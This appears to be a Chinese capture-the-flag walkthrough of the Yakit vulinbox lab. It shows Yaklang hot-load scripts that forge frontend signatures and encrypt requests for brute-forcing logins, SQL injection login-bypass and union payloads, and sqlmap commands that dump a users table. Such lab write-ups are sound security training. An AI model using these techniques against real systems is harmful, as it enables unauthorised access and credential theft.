Yakit靶场-高级前端加解密与验签实战-全关卡通关教程

一、前端验签-SHA256

本文作者为CVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

绕过

通过查看源代码可以看到key为

复制代码
1234123412341234

通过查看源代码可以看到是通过SHA256来进行签名的,他把请求体的username和password字段提取,然后进行加密。

复制代码
username=admin&password=admin123

使用CyberChef加密,最终得到加密值为:fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d

可以看到自己计算和前端计算的一致:

修改密码,重新构造签名:

复制代码
username=admin&password=666666
=>
26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee

发送请求,可以看到验签成功,密码正确登陆成功,自此签名绕过成功。

http 复制代码
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{
  "signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee",
  "key": "31323334313233343132333431323334",
  "username": "admin",
  "password": "666666"
}

热加载

这是我写的热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动签名功能。

yaklang 复制代码
encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    //获取账号和密码
    name = params.username
    pass  = params.password
    key = "31323334313233343132333431323334"    //十六进制密钥

    //HmacSha256加密
    signText = f`username=${name}&password=${pass}`
    sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))

    //构造请求体
    result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`

    return string(poc.ReplaceBody(packet, result, false))
}

//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)

调试结果如下:

beforeRequest取消注释,添加到Web Fuzzer模块的热加载中:

保存后发送请求,热加载成功实现自动签名功能。

二、前端验签-SHA256+RSA

本文作者ärCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

绕过

根据提示可以看出这次签名用了SHA2556和RSA两个技术进行加密。

查看源代码可以看到RSA公钥是通过请求服务器获取:

请求一下:http://127.0.0.1:8787/crypto/js/rsa/public/key ,可以看到公钥。

SHA256密钥位置:

Encrypt方法:

javascript 复制代码
function Encrypt(word) {
    console.info(word);
    return  KEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString()); 
}

KEYUTIL.getKey(pubkey).encrypt是RSA1v15加密方法,在代码中可以看到先进行SHA265加密,然后再RSA加密。被加密的文本的格式同上一关所示。

使用CyberChef加密:

替换请求,可以看到签名构造成功:

热加载

这是我写的Yakit热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,getPubkey获取公钥,最终实现热加载自动签名功能。

yaklang 复制代码
getPubkey = func() {
    //通过请求动态获取公钥
    rsp, req = poc.HTTP(`GET /crypto/js/rsa/public/key HTTP/1.1
Host: 127.0.0.1:8787

    `)~
    body = poc.GetHTTPPacketBody(rsp) // 响应体
    return body
}

encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    name = params.username
    pass = params.password
    key = "31323334313233343132333431323334"
    pemBytes = getPubkey() // 获取公钥

    signText = f`username=${name}&password=${pass}`
    sha256sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText)) // SHA256加密
    rsaSign = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pemBytes /*type: []byte*/, sha256sign)~) // RSA加密

    body = f`{"username":"${name}","password":"${pass}","signature":"${rsaSign}","key":"${key}"}`
    return string(poc.ReplaceBody(packet, body, false))
}


//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"password"}
TEXT
result = (encryptData(packet))
print(result)

这次不调试了,直接请求看看效果,成功热加载自动签名:

插入临时字典爆破,可以看到正确密码为admin123。

三、CryptoJS.AES(CBC) 前端加密登陆表单

本文作者isCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

分析

查看源代码,可以看到加密方式为AES,查询网上资料得知,此encrypt方法默认为CBC模式。

key为:1234123412341234

iv为随机生成的:

将用户名和密码以json的格式进行AES加密

使用CyberChef加密

替换请求data内容,验证成功。

http 复制代码
POST /crypto/js/lib/aes/cbc/handler HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 169

{
  "data": "2/eylw258wQNJQznPd5zr7xpNWzPR3vcgCmY3zwuTdW0WjSwbNzAhTraiebLdPRK",
  "key": "31323334313233343132333431323334",
  "iv": "67ba30beaabf8ccfebeca655d487805a"
}

热加载

这是本人写的Yakit热加载代码,通过beforeRequest劫持请求包,使用encryptData函数进行加密,最终实现热加载自动加密功能。

yaklang 复制代码
encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)

    hexKey = "31323334313233343132333431323334"
    hexIV = "67ba30beaabf8ccfebeca655d487805a"
    key = codec.DecodeHex(hexKey)~
    iv = codec.DecodeHex(hexIV)~

    data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
    data = codec.EncodeBase64(data)

    body = f`{"data": "${data}","key": "${hexKey}","iv": "${hexIV}"}`
    return string(poc.ReplaceBody(packet, body, false))
}

//发送到服务端修改数据包
beforeRequest = func(req){
    return encryptData(req)
}

效果:

四、CryptoJS.AES(ECB) 前端加密登陆表单

本文作者はCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

分析

模式变为AES的ECB模式,其他的与CBC模式基本一样。

复制代码
zqBATwKGlf9ObCg8Deimijp+OH1VePy6KkhV1Z4xjiDwOuboF7GPuQBCJKx6o9c7

热加载

功能跟上面大致一样。ECB模式不需要iv,修改成ECB加密,然后删除掉iv相关代码即可。

yaklang 复制代码
encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)

    hexKey = "31323334313233343132333431323334"
    key = codec.DecodeHex(hexKey)~

    //ECB模式加密
    data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
    data = codec.EncodeBase64(data)

    body = f`{"data": "${data}","key": "${hexKey}"}`
    return string(poc.ReplaceBody(packet, body, false))
}

//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/js/lib/aes/cbc/handler HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)

成功加密

五、CryptoJS.AES(ECB) 被前端加密的 SQL 注入

本文作者éCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

绕过

SQL注入

前端代码和上一关一样,都是通过AES加密请求的数据。

yaklang\common\vulinbox\db.go中可以看到相关后端代码:

数据库是SQLite类型,username参数是直接拼接查询的,所以存在SQL注入漏洞。

登录绕过

yaklang\common\vulinbox\vul_cryptojs_base.go

密码在第87行被赋值,密码是通过上面的GetUserByUsernameUnsafe获取的

输入{"username":"admin","password":"666666"}的SQL语句

sql 复制代码
select * from vulin_users where username = 'admin';

输入{"username":"admin'or 1=1--","password":"666666"}的SQL语句

SQL 复制代码
select * from vulin_users where username = 'admin'or 1=1--';

相当于:

复制代码
select * from vulin_users where true;

所以返回结果为表中的所有数据。

所以用户名随便输,密码输入表中存在的随意一个密码就能登陆成功:

sqlmap

使用Yakit的MITM 交互式劫持,热加载写上AES加密的代码

yaklang 复制代码
encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    hexKey = "31323334313233343132333431323334"
    key = codec.DecodeHex(hexKey)~
    data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
    data = codec.EncodeBase64(data)
    body = f`{"data": "${data}","key": "${hexKey}"}`
    return string(poc.ReplaceBody(packet, body, false))
}
beforeRequest = func(req){
    return encryptData(req)
}

1.txt

http 复制代码
POST /crypto/js/lib/aes/ecb/handler/sqli HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{"username":"admin","password":"admin"}

运行sqlmap

复制代码
python .\sqlmap.py -r .\1.txt --proxy=http://127.0.0.1:8081 --batch -T vulin_users  -C username,password,role --dump

注入成功

六、CryptoJS.AES(ECB) 被前端加密的 SQL 注入(Bypass认证)

本文作者esCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

绕过

这个前端代码与前面的还是一样的,都是AES ECB加密。

后端代码如下,可以看到查询语句在109行,用户名和密码都是直接拼接查询的。

SQL注入跟上面的操作一样,这里就不演示了,这里直接用热加载绕过登录。

http 复制代码
POST /crypto/js/lib/aes/ecb/handler/sqli/bypass HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{"username":"admin'or 1=1--","password":""}

七、AES-ECB 加密表单(附密码)

同 CryptoJS.AES(ECB) 前端加密登陆表单。

八、RSA:加密表单,附密钥

本文作者istCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

分析

generateKey函数用来生成随机的RSA公私钥

加密的格式如下:

json 复制代码
{"username":"admin","password":"123456","age":"20"}

对数据进行RSA加密,请求包格式:

热加载

这是本人写的Yakit热加载代码,通过beforeRequest hook请求包,调用encrypt函数进行加密,最终实现热加载自动加密功能。由于密钥是从前端获取,所以直在在热加载里生成了。

复制代码
encrypt = (packet) => {
    //生成RSA密钥
    publicKey, privateKey = tls.GenerateRSA2048KeyPair()~
    //base64编码
    publicKeyBase64 = codec.EncodeBase64(publicKey)
    privateKeyBase64 = codec.EncodeBase64(privateKey)

    body = poc.GetHTTPPacketBody(packet)
    data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密
    data = codec.EncodeBase64(data)
    
    //处理换行符
    publicKey = str.ReplaceAll(publicKey, "\n", r"\n")
    privateKey = str.ReplaceAll(privateKey, "\n", r"\n")

  	 //构造请求体
    body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`
    
    return string(poc.ReplaceBody(packet, body, false))
}

//发送到服务端修改数据包
beforeRequest = func(req){
    return encrypt(req)
}

效果:

使用字典爆破,爆破成功,可以看到密码为admin123。

九、RSA:加密表单服务器传输密钥

本文作者हैCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

分析

这里的代码跟上一关的类似,但是加密的公钥是通过请求服务端获取的

http://127.0.0.1:8787/crypto/js/rsa/generator

由于密钥是服务端生产的,服务端有公私钥信息,所以自然不需要传递公私钥了。

请求格式如下,只有被加密的内容:

序列+热加载

序列

打开Yakit的Web Fuzzer,点击左侧的序列

选择从服务端获取密钥的那个数据包

使用数据提取器提取公钥

提取结果正常:

再添加序列:

先把请求体置空,编写热加载代码

热加载

本来之前写的是请求体格式跟上一关一样,然后在热加载里请求来获取密钥,缺点也显而易见,每次登录请求都会多出了一个请求公钥的数据包,所以最后选择用Yakit的序列配合热加载标签传参来加密。

由于Yakit热加载标签只能传一个参数,这里感谢Yakit群群友Gun的帮助,给了我一个手动分割参数的函数。

把序列第一个请求提取到的publicKey变量和需要加密的数据传过去,由splitParams分割,然后传参给encrypt进行RSA加密。

序列格式:

fuzztag 复制代码
{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin123","age":"20"})}}

热加载代码:

yaklang 复制代码
encrypt = (pemPublic, data) => {
    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
    data = codec.EncodeBase64(data)
    body = f`{"data":"${data}"}`
    return body
}

//分割传过来的参数,每个参数中间以|分隔
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return encrypt(pairs[0], pairs[1])
}

执行序列,爆破成功,使用序列的好处就是只获取一次公钥即可。

之前的代码:

弃用代码,就不做解释了。

yaklang 复制代码
getPubkey = func(host) {
    //通过请求动态获取公钥
    rsp, req = poc.HTTP(f`GET /crypto/js/rsa/generator HTTP/1.1
Host: ${host}

    `)~
    body = poc.GetHTTPPacketBody(rsp) // 响应体
    params = json.loads(body)
    publicKey = str.ReplaceAll(params.publicKey, r"\n", "\n")
    println(publicKey)
    return publicKey
}

encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    host = poc.GetHTTPPacketHeader(packet, "Host")
    pemBytes = getPubkey(host) // 获取公钥
    println(pemBytes)

    data = codec.RSAEncryptWithOAEP(pemBytes /*type: []byte*/, body)~
    data = codec.EncodeBase64(data)

    body = f`{"data":"${data}"}`
    return string(poc.ReplaceBody(packet, body, false))
}


//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/js/rsa/fromserver HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"123456","age":"20"}
TEXT
result = (encryptData(packet))
print(result)

十、RSA:加密表单服务器传输密钥+响应加密

本文作者естьCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

分析

这里的公私钥同上一关一样是通过服务端获取

通过查看响应包可以看到,data字段被加密了,当然这里我已经知道了data字段和origin字段的内容是一样的,下面来看看该如何编写热加载代码吧。

序列+热加载

方法1(固定私钥)

这里跟上一关一样选择Web Fuzzer的序列功能。

数据提取器提取公私钥

由于afterRequest函数无法获取到参数,所以在代码里写死了私钥内容来解密响应包。

热加载代码:

yaklang 复制代码
var PRIVATE_KEY = `这里填私钥内容(可换行)`

decryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet) // 获取响应包体
    jsonBody = json.loads(body) // 转为map格式

    //解密数据
    data = codec.DecodeBase64(json.loads(body).data)~
    data = codec.RSADecryptWithOAEP(PRIVATE_KEY/*type: bytes*/, data/*type: any*/)~
    data = string(data)

    // 使用JsonPath定位,替换json中的data
    body = json.ReplaceAll(jsonBody, "$..data", data)
    // 转为json格式
    body = json.dumps(body, json.withIndent("   "))
    // 替换正则匹配结果(可省略)
    pattern := `\\`
    body = re.ReplaceAll(body, pattern, "")

    return poc.ReplaceBody(packet, body/*type: bytes*/, false/*type: bool*/)
}

encryptData = (pemPublic, data) => {
    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
    data = codec.EncodeBase64(data)
    body = f`{"data":"${data}"}`
    return body
}

//分割参数的函数
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return encryptData(pairs[0], pairs[1])
}

// 修改响应包
afterRequest = func(rsp){
    return decryptData(rsp)
}

请求格式:

http 复制代码
POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin23","age":"20"})}}

下图为效果图,响应包的data字段的值被解密后的数据替换。

方法2(使用mirrorHTTPFlow)

在这一关(响应加密)和下一关(RSA加密AES密钥)解密过程中,我一直都在寻找如何才能把数据提取器提取到的privateKey传参到beforeRequestafterRequest这类函数中,以达到修改数据包的目的。

从前端验签与加解密学习Yakit中WebFuzzer热加载。在这篇文章中学到了可以使用序列,将前两个序列提取到的key和数据,在第三个序列当做请求内容,解密后发送过去,这样也算是一种变相的完成了解密,但是这个方法感觉不太优雅,需要多一个额外的请求包。

这是当时测试的图片:

然后在 Yak Project官方公众号的文章中终于看到了一个函数,mirrorHTTPFlow可以解决这个问题,虽然不能直接替换响应包,但会出现在提取数据中。由于官方文档没有具体讲解这个函数,所以它的具体功能现在还不太清楚。

热加载代码:

yaklang 复制代码
//加密函数
encrypt = (pemPublic, data) => {
    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
    data = codec.EncodeBase64(data)
    body = f`{"data":"${data}"}`
    return body
}

//分割参数的函数
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return encrypt(pairs[0], pairs[1])
}

mirrorHTTPFlow = (req, rsp, params) => {
    // 获取私钥以解密响应数据
    pem = params.privateKey
    
    // 切割响应中的数据,作为 JSON 加载
    _, body = poc.Split(rsp)
    body = json.loads(body)
    
    // 解密data
    data = codec.DecodeBase64(body.data)~
    data = codec.RSADecryptWithOAEP(pem, data)~
    
    return string(data)
}

请求包格式:

http 复制代码
POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"123","age":"20"})}}

效果如下图,可以看到解密后的data出现在了提取内容中。

爆破成功,但是看不到请求的原始密码,由于太累了懒得解决这个问题,啥时候闲了再说吧。

十一、前端RSA加密AES密钥,服务器传输

本文作者هوCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

由于RSA加解密有长度限制,以及解密速度等问题,所以如https等协议都是用非对称加密对称加密的密钥,然后用对称加密算法来加密数据。本关卡就是用RSA来加密AES的key和iv,用AES来加密表单数据。

分析

直接Submit,观察数据包发现请求包和响应包AES加密的key和iv都被加密了。

查看源码,RSA的key是通过请求/crypto/js/rsa/generator路径获取的

AES的加密方法为AES-GCM

流程图如下:
graph TD; A[开始] --> B(加载页面); B --> C{获取RSA密钥对}; C -- 是 --> D(从服务器获取公钥和私钥); D --> E(将PEM格式的公钥和私钥转换为CryptoKey对象); E --> F(生成随机AES密钥与IV); F --> G(使用RSA-OAEP加密AES密钥与IV); G --> H(使用Encrypt函数用AES-GCM方式加密提交的数据); H --> I(发送加密数据到服务器); I --> J(接收服务器响应); J --> K(使用Decrypt函数用RSA与AES-GCM解密接收的数据); K --> L(显示解密后的数据);

序列+热加载

本文和上一关遇到一样的问题,本来打算用第三个请求来解密响应包的,最后选择了使用mirrorHTTPFlow函数来解密。

上一关中只能看到登陆成功,但不知道账号密码是什么。这次写了个解密函数解密请求包,不管怎么说,能跑就行。

热加载代码如下:

yaklang 复制代码
// RSA-OAEP 加密
rsaEncrypt = (pem, data) => {
    data = codec.RSAEncryptWithOAEP(pem, data)~
    data = codec.EncodeBase64(data)
    return data
}
// AES-GCM 加密
aesEncrypt = (key, iv, data) => {
    encryptedData = codec.AESGCMEncryptWithNonceSize12(key, data, iv)~
    encryptedData = codec.EncodeBase64(encryptedData)
    return encryptedData
}
// 分割参数的函数
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return pairs
}
// 主函数
encrypt = (params) => {
    pairs := splitParams(params)
    key =  randstr(16)
    iv = randstr(12)
    data = aesEncrypt(key, iv, pairs[1])
    encryptIV = rsaEncrypt(pairs[0], iv)
    encryptKey = rsaEncrypt(pairs[0], key)

    body = f`{"data":"${data}","iv":"${iv}","encryptedIV":"${encryptIV}","encryptedKey":"${encryptKey}"}`
    return body
}
// 解密函数
mirrorHTTPFlow = (req, rsp, params) => {
    // 获取私钥
    pem = params.privateKey
    
    // 切割响应中的数据,作为 JSON 加载
    body = json.loads(poc.GetHTTPPacketBody(rsp))
    
    // 提取 IV、KEY 和 DATA
    data = body.data
    iv = body.encryptedIV
    key = body.encryptedKey
    
    // 使用 RSA-OAEP 解密 IV 和 KEY
    iv = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(iv)~)~
    key = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(key)~)~
    
    // 使用 AES-GCM 解密
    data = codec.AESGCMDecryptWithNonceSize12(key, codec.DecodeBase64(data)~, iv)~
    return string(data)
}

使用Yakit的序列功能,效果如下,在提取数据中显示了未加密的请求和响应的内容:

爆破效果:

十二、SQL 注入(从登陆到 Dump 数据库)

本文作者คือCVE-柠檬i

CSDN:https://blog.csdn.net/weixin_49125123

博客园:https://www.cnblogs.com/CVE-Lemon

微信公众号:Lemon安全

登录

输入账号密码,抓包查看数据包,看上去就是一个普通的aes加密:

这里热加载代码不算太难,常规的加解密函数就可以了:

yaklang 复制代码
encryptAES = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    // 生成随机key和iv
    key =  randstr(16)
    iv = randstr(12)
    // 加密数据
    data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
    data = codec.EncodeBase64(data)
    // 获取key和iv的hex值
    hexKey = codec.EncodeToHex(key)
    hexIV = codec.EncodeToHex(iv)
    // 构造新的body
    body = f`{"key": "${hexKey}","iv": "${hexIV}","message": "${data}"}`

    return poc.ReplaceBody(packet, body, false)
}

decryptAES = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    body = json.loads(body)
    key = codec.DecodeHex(body.key)~
    iv = codec.DecodeHex(body.iv)~
    data = codec.DecodeBase64(body.message)~
    data = codec.AESCBCDecrypt(key, data, iv)~
    return poc.ReplaceBody(packet, data, false)
}

beforeRequest = func(req){
    return encryptAES(req)
}
afterRequest = func(rsp){
    return decryptAES(rsp)
}

请求体格式

json 复制代码
{"username":"admin","password":"password"}

热加载加解密成功

本关提示是SQL注入,所以直接啪一个1=1,说时迟那时快,直接登陆成功

http 复制代码
POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{"username":"admin","password":"password'or 1=1--"}

注入

手工

登陆后看到请求了/crypto/sqli/aes-ecb/encrypt/query/users路径

解密一下请求包:

获取到请求的格式:

json 复制代码
{"search":""}

这里是SQLite注入,注入的语句是通过这篇文章获取的:sqlite注入的一点总结 - 先知社区 (aliyun.com)

json 复制代码
{"search":"user1'order by 3--"}
json 复制代码
{"search":"user1'union select 1,2,3--"}
json 复制代码
{"search":"user1'union select 11,22,sql from sqlite_master--"}
json 复制代码
{"search":"user1'union select 11,22,sql from sqlite_master where type='table' and name='vulin_users'--"}
json 复制代码
{"search":"user1'union select username,password,id from vulin_users--"}

注入成功:

http 复制代码
POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119

{"search":"user1'union select username,password,id from vulin_users--"}

sqlmap

在MITM处加载热加载代码

使用sqlmap注入

复制代码
python .\sqlmap.py -r .\http.txt --proxy=http://127.0.0.1:8081 --batch -dbms=sqlite -T vulin_users -C username,password,role --dump

http.txt

http 复制代码
POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119

{"search":"*"}

效果:

相关推荐
大方子11 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha13 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络13 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd15 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你20 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用2 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云